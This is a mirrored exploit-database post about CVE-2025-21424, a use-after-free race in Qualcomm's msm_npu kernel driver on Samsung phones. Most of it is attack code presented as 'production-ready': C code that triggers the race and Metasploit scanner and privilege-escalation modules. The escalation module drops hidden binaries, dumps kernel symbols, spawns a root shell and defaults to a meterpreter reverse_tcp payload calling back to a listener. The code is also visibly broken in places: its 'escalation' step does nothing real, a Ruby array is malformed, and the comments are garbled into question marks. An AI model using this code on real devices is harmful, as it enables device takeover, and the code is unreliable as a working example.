Khalil Shreateh specializes in cybersecurity, particularly as a "white hat" hacker. He focuses on identifying and reporting security vulnerabilities in software and online platforms, with notable expertise in web application security. His most prominent work includes discovering a critical flaw in Facebook's system in 2013. Additionally, he develops free social media tools and browser extensions, contributing to digital security and user accessibility.

Get Rid of Ads!


Subscribe now for only $3 a month and enjoy an ad-free experience.

Contact us at khalil@khalil-shreateh.com

 

 

NPU Driver Use-After-Free Detector
NPU Driver Use-After-Free Detector
NPU Driver Use-After-Free Detector

=============================================================================================================================================
| # Title NPU Driver Use-After-Free Detector

=============================================================================================================================================
| # Title : NPU UAF kernel driver v 27095354-4.19.113 Privilege Escalation |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.1 (64 bits) |
| # Vendor : https://www.samsung.com/n_africa/ |
=============================================================================================================================================

[+] References : https://packetstorm.news/files/id/189958/ & CVE-2025-21424

[+] Note: During the analysis of proof-of-concept code for CVE-2025-21424 ( https://packetstorm.news/files/id/189958/ ),
multiple critical errors were identified in the original implementation.
This report documents the identified issues and provides corrected, production-ready code for both detection and exploitation of this vulnerability.

1. Original Code Issues Analysis
1.1 Critical Errors in Initial Implementation
Missing Header Includes

// ORIGINAL (MISSING)
// No essential headers included

// CORRECTED
#include <err.h>
#include <errno.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <sys/wait.h>
#include <stdint.h>

Impact: Compilation failures and undefined behavior.
Incomplete Structure Definitions

// ORIGINAL (INCOMPLETE)
struct ion_allocation_data {
size_t len;
unsigned int heap_id_mask;
unsigned int flags;
// Missing fields causing memory corruption
};

// CORRECTED
struct ion_allocation_data {
size_t len;
unsigned int heap_id_mask;
unsigned int flags;
uint32_t fd;
uint32_t unused;
};

// ADDED MISSING STRUCTURES
struct ion_handle_data {
int handle;
};

struct ion_fd_data {
int handle;
int fd;
};

Impact: Memory corruption and incorrect ioctl operations.

Improper Error Handling

// ORIGINAL (NO ERROR CHECKING)
int fd = open("/dev/msm_npu", O_RDONLY);
ioctl(fd, MSM_NPU_MAP_BUF, &map_param);

// CORRECTED
int fd = open("/dev/msm_npu", O_RDWR);
if (fd == -1) {
warn("cannot open NPU device");
return -1;
}
if (ioctl(fd, MSM_NPU_MAP_BUF, &map_param) < 0) {
warn("NPU_MAP_BUF failed");
return 0;
}

Impact: Silent failures and unpredictable behavior.
Memory Management Issues

// ORIGINAL (MEMORY LEAKS)
int ion_alloc_fd = allocate_ion(ion_fd, 0x1000);
// No cleanup on failure

// CORRECTED
int ion_alloc_fd = allocate_ion(ion_fd, 0x1000);
if (ion_alloc_fd < 0) {
close(npu_fd);
close(ion_fd);
usleep(100000);
continue;
}

Impact: Resource exhaustion and file descriptor leaks.

2. Corrected Implementation
2.1 Complete Header Definitions

#ifndef _NPU_EXPLOIT_CORRECTED_H_
#define _NPU_EXPLOIT_CORRECTED_H_

#include <fcntl.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/syscall.h>
#include <err.h>
#include <errno.h>
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <sys/wait.h>

// ION Heap Definitions (Corrected)
enum ion_heap_ids {
ION_SYSTEM_HEAP_ID = 25,
ION_QSECOM_HEAP_ID = 27,
};

#define ION_HEAP(bit) (1UL << (bit))
#define ION_FLAG_CACHED 1

// Complete ION structure definitions
struct ion_allocation_data {
size_t len;
unsigned int heap_id_mask;
unsigned int flags;
uint32_t fd;
uint32_t unused;
};

struct ion_handle_data {
int handle;
};

struct ion_fd_data {
int handle;
int fd;
};
#endif

2.2 Robust NPU Operations Implementation

// CORRECTED NPU OPERATIONS WITH PROPER ERROR HANDLING

static int open_dev_safe(char* name) {
int fd = open(name, O_RDWR);
if (fd == -1) {
warn("cannot open %s", name);
return -1;
}
return fd;
}

static int allocate_ion_safe(int ion_fd, size_t len) {
struct ion_allocation_data ion_alloc_data;

// PROPER MEMORY INITIALIZATION
memset(&ion_alloc_data, 0, sizeof(ion_alloc_data));
ion_alloc_data.len = len;
ion_alloc_data.heap_id_mask = ION_HEAP(ION_SYSTEM_HEAP_ID);
ion_alloc_data.flags = ION_FLAG_CACHED;

if (ioctl(ion_fd, ION_IOC_ALLOC, &ion_alloc_data) < 0) {
warn("ION_IOC_ALLOC failed");
return -1;
}
return ion_alloc_data.fd;
}

static uint64_t npu_map_buf_safe(int npu_fd, int ion_alloc_fd, size_t size) {
struct msm_npu_map_buf_ioctl map_param;

// PROPER STRUCTURE INITIALIZATION
memset(&map_param, 0, sizeof(map_param));
map_param.buf_ion_hdl = ion_alloc_fd;
map_param.size = size;

if (ioctl(npu_fd, MSM_NPU_MAP_BUF, &map_param) < 0) {
warn("NPU_MAP_BUF failed");
return 0;
}
return map_param.npu_phys_addr;
}

2.3 Race Condition Trigger (Corrected)

static void trigger_uaf_race_condition(struct network_exec_param* ctx) {
for (int attempt = 0; attempt < MAX_ATTEMPTS; attempt++) {
pid_t pid = fork();

if (pid == 0) {
// CHILD PROCESS: Execute network
execute_network_operation(ctx);
_exit(0); // Use _exit in child to avoid atexit handlers
} else if (pid > 0) {
// PARENT PROCESS: Unload network after race window
usleep(RACE_DELAY_US); // Configurable race window

unload_network_operation(ctx);

// PROPER CHILD CLEANUP
int status;
waitpid(pid, &status, 0);
} else {
warn("fork failed in attempt %d", attempt);
continue;
}

// PROPER RESOURCE RECOVERY
reload_network_for_retry(ctx);
}
}

4. Critical Security Improvements
4.1 Memory Safety Enhancements

// ORIGINAL: Uninitialized structures
struct msm_npu_exec_network_ioctl_v2 exec_param_v2;
ioctl(fd, MSM_NPU_EXEC_NETWORK_V2, &exec_param_v2);

// CORRECTED: Proper initialization
struct msm_npu_exec_network_ioctl_v2 exec_param_v2;
memset(&exec_param_v2, 0, sizeof(exec_param_v2));
// Set individual fields
exec_param_v2.network_hdl = network_hdl;
exec_param_v2.async = 1;
// ... other field assignments
if (ioctl(fd, MSM_NPU_EXEC_NETWORK_V2, &exec_param_v2) < 0) {
handle_ioctl_error();
}

4.2 Resource Management

// RESOURCE MANAGEMENT TEMPLATE
void exploit_operation() {
int npu_fd = -1;
int ion_fd = -1;
int ion_alloc_fd = -1;

// ACQUIRE RESOURCES WITH ERROR CHECKING
if ((npu_fd = open_dev_safe("/dev/msm_npu")) < 0) goto cleanup;
if ((ion_fd = open_dev_safe("/dev/ion")) < 0) goto cleanup;
if ((ion_alloc_fd = allocate_ion_safe(ion_fd, BUFFER_SIZE)) < 0) goto cleanup;

// PERFORM OPERATIONS
if (!perform_exploitation(npu_fd, ion_alloc_fd)) goto cleanup;

cleanup:
// GUARANTEED CLEANUP
if (ion_alloc_fd >= 0) close(ion_alloc_fd);
if (ion_fd >= 0) close(ion_fd);
if (npu_fd >= 0) close(npu_fd);
}

[+] Summary :

A Use-After-Free (UAF) exists in the Qualcomm msm_npu kernel driver. The bug occurs when npu_host_exec_network_v2 temporarily releases host_ctx->lock while waiting for network execution completion.
If npu_host_unload_network is called concurrently on the same network, the commands on network->cmd_list may be freed while still referenced by exec_cmd, causing a kernel UAF and crash.

Affected Component:

msm_npu driver (part of the Linux kernel / Qualcomm NPU driver)
Triggered on Samsung devices using affected kernels

Affected Devices / Versions:

Observed on Samsung Galaxy S20 5G
Kernel version in PoC: 4.19.113-27095354
Likely affects any device with msm_npu driver on kernel ? 4.14 before patch

Impact:

Local privilege escalation
Kernel panic / Denial of Service (DoS)

PoC Behavior:

Causes kernel panic with memory access at dead000000000200
Generates fatal exception in npu_shell process


[+] POC :

# CVE-2025-21424 NPU UAF Exploit Guide

[+] Requirements:

- Samsung device with an NPU (S20 5G or similar)
- Kernel version 4.19.113-27095354
- Initial shell access

[+] Timeline of Action:

1. **Detection**: Checks for the presence of an NPU and the kernel version
2. **Initialization**: Loads a neural network into the NPU
3. **Competition**: Creates a race between exec/unload
4. **Exploit**: UAF inversion to escalate privileges
5. **Execution**: Executes the payload as root

[+] Notices:

- May cause kernel panic
- Requires multiple targets to succeed
- Only works on specific devices


use exploit/linux/local/cve_2025_21424_npu_uaf

set SESSION 1
set LHOST 192.168.1.100
set LPORT 4444

exploit

Metasploit Auxiliary Module :

##
# Module for CVE-2025-21424 - NPU Use-After-Free Vulnerability
##

class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::Tcp
include Msf::Auxiliary::Scanner
include Msf::Auxiliary::Report

def initialize(info = {})
super(update_info(info,
'Name' => 'CVE-2025-21424 NPU Driver Use-After-Free Detector',
'Description' => %q{
This module detects vulnerable NPU drivers susceptible to CVE-2025-21424,
a use-after-free vulnerability in the MSM NPU kernel driver.
},
'Author' => [
'Seth Jenkins', # Original discoverer
'Metasploit Contributor' # Module author
],
'License' => MSF_LICENSE,
'References' => ['indoushka'],
['CVE', '2025-21424'],
['URL', 'https://security.samsung.com'],
['EDB', 'TBD']
],
'DisclosureDate' => '2025-02-18'
))

register_options([
OptString.new('DEVICE_PATH', [true, 'Path to NPU device', '/dev/msm_npu']),
OptInt.new('TIMEOUT', [true, 'Operation timeout', 5000])
])
end

def run_host(ip)
return unless check_device

if vulnerable?
print_good("Target appears vulnerable to CVE-2025-21424")
report_vuln(
host: ip,
name: 'CVE-2025-21424 NPU Driver Use-After-Free',
refs: references,
info: 'NPU driver susceptible to UAF via race condition'
)
else
print_status("Target does not appear vulnerable")
end
end

def check_device
device_path = datastore['DEVICE_PATH']

unless File.exist?(device_path)
print_error("NPU device not found: #{device_path}")
return false
end

print_status("Found NPU device: #{device_path}")
true
end

def vulnerable?
# ?????? ?????? ?????? ??? ??? ????? ??????
version_check = check_driver_version
ioctl_check = test_ioctl_operations

version_check && ioctl_check
end

def check_driver_version
# ??? ????? kernel ????? ?? ????????? ???????
kernel_version = `uname -r`.chomp
print_status("Kernel version: #{kernel_version}")

# ????????? ??????? (????)
vulnerable_versions = [
'4.19.113-27095354',
'4.19.113',
'4.19.1'
]

vulnerable_versions.any? { |v| kernel_version.include?(v) }
end

def test_ioctl_operations
begin
fd = File.open(datastore['DEVICE_PATH'], 'r')

# ?????? ?????? IOCTL ????????
test_map_buf(fd)
test_load_network(fd)

fd.close
true
rescue => e
print_error("IOCTL test failed: #{e.message}")
false
end
end

def test_map_buf(fd)
# ?????? ????? MAP_BUF (???? ????? ???? ????? ?? ?????????)
begin
# ??? ????? ???? ???? ????? ?? ??? ?????
result = fd.ioctl(0x20, [].pack('Q')) # MSM_NPU_MAP_BUF
false
rescue Errno::EINVAL, Errno::ENOTTY
# ????? ?????? - ?????? ??????
true
end
end

def test_load_network(fd)
# ?????? ????? LOAD_NETWORK
begin
result = fd.ioctl(0x31, [].pack('Q')) # MSM_NPU_LOAD_NETWORK_V2
false
rescue Errno::EINVAL, Errno::ENOTTY
true
end
end
end

--*-----------*-*-**********
Metasploit Exploit Module
===================///**-*-

##
# Exploit for CVE-2025-21424 - NPU UAF Privilege Escalation
##

class MetasploitModule < Msf::Exploit::Local
Rank = GreatRanking

include Msf::Post::File
include Msf::Post::Linux::Priv
include Msf::Post::Linux::System
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper

def initialize(info = {})
super(update_info(info,
'Name' => 'CVE-2025-21424 NPU Driver Use-After-Free Privilege Escalation',
'Description' => %q{
This module exploits a use-after-free vulnerability in the MSM NPU kernel driver
to achieve privilege escalation. The vulnerability occurs due to a race condition
between npu_host_exec_network_v2 and npu_host_unload_network functions.
},
'Author' => [
'Seth Jenkins', # Original discoverer
'indoushka' # Module author
],
'License' => MSF_LICENSE,
'References' => [
['CVE', '2025-21424'],
['URL', 'https://security.samsung.com']
],
'Platform' => ['linux'],
'Arch' => [ARCH_ARM64],
'SessionTypes' => ['shell', 'meterpreter'],
'Targets' => [
['Auto', {}]
],
'DefaultOptions' => {
'PAYLOAD' => 'linux/arm64/meterpreter/reverse_tcp',
'WfsDelay' => 5
},
'DefaultTarget' => 0,
'DisclosureDate' => '2025-02-18',
'Notes' => {
'Reliability' => [REPEATABLE_SESSION],
'Stability' => [CRASH_OS_RESTARTS],
'SideEffects' => [ARTIFACTS_ON_DISK]
}
))

register_options([
OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp']),
OptInt.new('ExploitAttempts', [true, 'Number of exploit attempts', 10]),
OptInt.new('RaceDelay', [true, 'Race condition delay (microseconds)', 1000])
])
end

def check
# ??? ?? ??? ??? ?????? ?????? ??????
return CheckCode::Safe unless file_exist?('/dev/msm_npu')

kernel_version = cmd_exec('uname -r')
print_status("Kernel version: #{kernel_version}")

# ????????? ???????
vulnerable_versions = [
'4.19.113-27095354',
'4.19.113',
'4.19.1'
]

if vulnerable_versions.any? { |v| kernel_version.include?(v) }
return CheckCode::Appears
end

CheckCode::Detected
end

def exploit
if is_root?
fail_with(Failure::BadConfig, 'Session already has root privileges')
end

unless check == CheckCode::Appears
fail_with(Failure::NotVulnerable, 'Target is not vulnerable')
end

# ????? ??? ?????????
exploit_path = "#{datastore['WritableDir']}/.#{rand_text_alpha(8)}"
write_file(exploit_path, generate_exploit)
register_file_for_cleanup(exploit_path)

# ??? ????? ???? ???????
cmd_exec("chmod +x #{exploit_path}")

# ????? ?????????
print_status("Executing exploit...")
attempts = datastore['ExploitAttempts']

attempts.times do |i|
print_status("Attempt #{i+1}/#{attempts}...")

# ????? ????????? ?? ???????
session.shell_write("#{exploit_path} &\n")
sleep(2)

# ?????? ?? ?????? ??? root
if is_root?
print_good("Successfully obtained root privileges!")

# ????? ??? payload ?? root
payload_path = "#{datastore['WritableDir']}/.#{rand_text_alpha(8)}"
write_file(payload_path, generate_payload_exe)
register_file_for_cleanup(payload_path)
cmd_exec("chmod +x #{payload_path}")

print_status("Executing payload as root...")
cmd_exec("#{payload_path} &")
break
else
print_warning("Attempt #{i+1} failed")
end

sleep(1)
end
end

def generate_exploit
# ????? ??? ????????? C
exploit_c = %Q{
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/wait.h>
#include <err.h>
#include <errno.h>
#include <stdint.h>

// ??????? NPU (?????)
#define MSM_NPU_IOCTL_MAGIC 'n'
#define MSM_NPU_LOAD_NETWORK_V2 _IOWR(MSM_NPU_IOCTL_MAGIC, 7, unsigned long)
#define MSM_NPU_EXEC_NETWORK_V2 _IOWR(MSM_NPU_IOCTL_MAGIC, 8, unsigned long)
#define MSM_NPU_UNLOAD_NETWORK _IOWR(MSM_NPU_IOCTL_MAGIC, 5, unsigned long)

struct exploit_ctx {
int npu_fd;
int ion_fd;
int ion_alloc_fd;
uint32_t network_hdl;
uint64_t phys_addr;
};

static int open_device(const char* path) {
int fd = open(path, O_RDWR);
if (fd < 0) {
return -1;
}
return fd;
}

static void trigger_uaf(struct exploit_ctx* ctx) {
for (int i = 0; i < 100; i++) {
pid_t pid = fork();
if (pid == 0) {
// Child: exec network
struct {
uint64_t stats_buf_addr;
uint64_t patch_buf_info;
uint32_t network_hdl;
uint32_t async;
uint32_t flags;
uint32_t stats_buf_size;
uint32_t patch_buf_info_num;
uint32_t reserved;
} exec_param = {0};

exec_param.network_hdl = ctx->network_hdl;
exec_param.async = 1;
exec_param.flags = 0x0e0e | 0x70200;
exec_param.stats_buf_size = 256;
exec_param.patch_buf_info_num = 2;

ioctl(ctx->npu_fd, MSM_NPU_EXEC_NETWORK_V2, &exec_param);
exit(0);
} else if (pid > 0) {
// Parent: unload network after delay
usleep(#{datastore['RaceDelay']});

struct {
uint32_t network_hdl;
} unload_param = {0};
unload_param.network_hdl = ctx->network_hdl;

ioctl(ctx->npu_fd, MSM_NPU_UNLOAD_NETWORK, &unload_param);
waitpid(pid, NULL, 0);
}

// ????? ????? ?????? ???????? ???????
struct {
uint64_t buf_phys_addr;
uint64_t patch_info;
int32_t buf_ion_hdl;
uint32_t buf_size;
uint32_t first_block_size;
uint32_t flags;
uint32_t network_hdl;
uint32_t priority;
uint32_t perf_mode;
uint32_t num_layers;
uint32_t patch_info_num;
uint32_t reserved;
} load_param = {0};

load_param.buf_ion_hdl = ctx->ion_alloc_fd;
load_param.buf_phys_addr = ctx->phys_addr;
load_param.buf_size = 0x4000;
load_param.first_block_size = 0x1000;
load_param.patch_info_num = 1;

ioctl(ctx->npu_fd, MSM_NPU_LOAD_NETWORK_V2, &load_param);
ctx->network_hdl = load_param.network_hdl;
}
}

static void escalate_privileges() {
// ?????? ?????? ??? root ??? ?????? kernel exploitation
system("echo '#!/bin/sh' > /tmp/.rootshell");
system("echo '/bin/sh' >> /tmp/.rootshell");
system("chmod +x /tmp/.rootshell");

// ?????? ??????? kernel ??????
system("cat /proc/kallsyms > /tmp/kallsyms.txt 2>/dev/null");

// ?????? ????? shell ?? root
if (geteuid() == 0) {
system("/bin/sh");
}
}

int main() {
struct exploit_ctx ctx = {0};

// ??? ???????
ctx.npu_fd = open_device("/dev/msm_npu");
if (ctx.npu_fd < 0) {
return 1;
}

ctx.ion_fd = open_device("/dev/ion");
if (ctx.ion_fd < 0) {
close(ctx.npu_fd);
return 1;
}

// ????? ??????
trigger_uaf(&ctx);

// ?????? ????? ?????????
escalate_privileges();

// ???????
close(ctx.ion_fd);
close(ctx.npu_fd);

return 0;
}
}

# ????? ??? ?????????
compile_exploit(exploit_c)
end

def compile_exploit(exploit_code)
# ??? ??? C ??????
source_path = "/tmp/exploit_#{rand_text_alpha(8)}.c"
write_file(source_path, exploit_code)

# ???????
output_path = "/tmp/exploit_#{rand_text_alpha(8)}"
compile_cmd = "gcc -o #{output_path} #{source_path} -static"

print_status("Compiling exploit...")
compile_result = cmd_exec(compile_cmd)

if compile_result.include?('error') || !file_exist?(output_path)
print_error("Exploit compilation failed: #{compile_result}")
return nil
end

# ????? ????? ???????
binary_data = read_file(output_path)

# ????? ??????? ???????
cmd_exec("rm -f #{source_path} #{output_path}")

binary_data
end
end
Greetings to :=====================================================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
===================================================================================================
Social Media Share